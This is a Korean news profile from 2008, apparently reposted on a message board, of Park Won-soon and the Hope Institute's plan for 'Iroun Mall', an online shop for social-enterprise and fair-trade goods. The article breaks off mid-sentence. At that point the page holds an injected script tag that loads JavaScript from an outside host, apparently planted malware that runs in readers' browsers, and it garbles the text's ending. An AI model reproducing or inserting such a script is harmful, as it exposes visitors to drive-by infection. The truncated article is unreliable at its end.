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[이사람] 착한 소비자와 ‘행복거래’ 꿈꾸다
행복을 주는 사람
924 2008-07-23 오후 11:56:07

[이사람] 착한 소비자와 ‘행복거래’ 꿈꾸다
온라인몰 추진 박원순 희망제작소 상임이사
한겨레 임주환 기자
» 박원순(사진)
연대가치 따르는 상품 취급 ‘대안벤처’
“사회적 기업 활성화 대세”…10월 개장

“사회적 기업들은 뜻은 좋지만 악순환 구조에 놓여 있습니다. 물건이 시원찮거나 디자인이 엉성하고, 잘 안 팔리니까 투자를 하기도 힘들지요. ‘이로운몰’은 이런 잘못된 고리를 끊고, ‘착한 소비자’들이 신뢰할 수 있는 물건을 살 수 있도록 도울 것입니다.”

지난 22일 서울 종로구 수송동 희망제작소(이사장 김창국) 사무실에서 만난 상임이사 박원순(사진) 변호사는 “이로운몰을 통해 사회대안적 가치가 시장에서 통하지 않는다는 냉소를 깨고 싶다”고 말문을 뗐다.

희망제작소가 만든 사회적 벤처 1호인 이로운몰은 ‘소비자에게 이롭고 공급자에게 이로운’ 새로운 개념의 온라인 쇼핑몰을 표방한다. 노동부 인증 사회적 기업 생산품, 농수산물 특산품과 전통문화 상품, 친환경 상품, 공정무역 상품 등 사회·환경·노동의 가치를 거스르지 않는 제품을 소비자들이 선택할 수 있게 하겠다는 것이다. 희망제작소가 분야별 전문가들로 구성된 사회적 투자자들과 함께 자본금 7억5천만원을 투자해 설립한 이로운몰은 올해 10월께 문을 열 계획이다.

박 변호사는 이로운몰을 특징짓는 두 가지 열쇳말로 ‘스토리 텔링’(이야기 만들기)과 ‘신뢰’를 꼽았다. 그는 “목장에서 난 우유로 친환경 요구르트를 만드는 사람이 있는데, 이분이 유전자변형식품이 들어가지 않은 유기농 사료를 먹이려면 타산이 맞지 않는다고 고민하고 있다”며 “이로운몰을 통해 1천명의 소비자가 3개월간 이 요구르트를 먹으면서 완전한 유기농 제품을 만들어 가자는 캠페인을 벌일 수 있을 것”이라고 설명했다.

그는 또 “올들어 불거진 쇠고기 파동, 식품 이물질 파동 등은 결국 신뢰의 문제”라고 진단하며 “풀무원 식품연구소와 양해각서를 맺고 희망제작소 소기업발전소 안에 ‘꼼꼼 검사국’을 만들어 정부의 유기농 인증보다 더 믿을 수 있는 제품을 선별할 것”이라고 밝혔다.

박 변호사는 이로운몰을 비롯한 사회적 기업의 활성화가 시대의 큰 흐름이라고 설명한다. ‘아름다운 가게’가 재활용?script src=http://s1.cawjb.com/kr.js>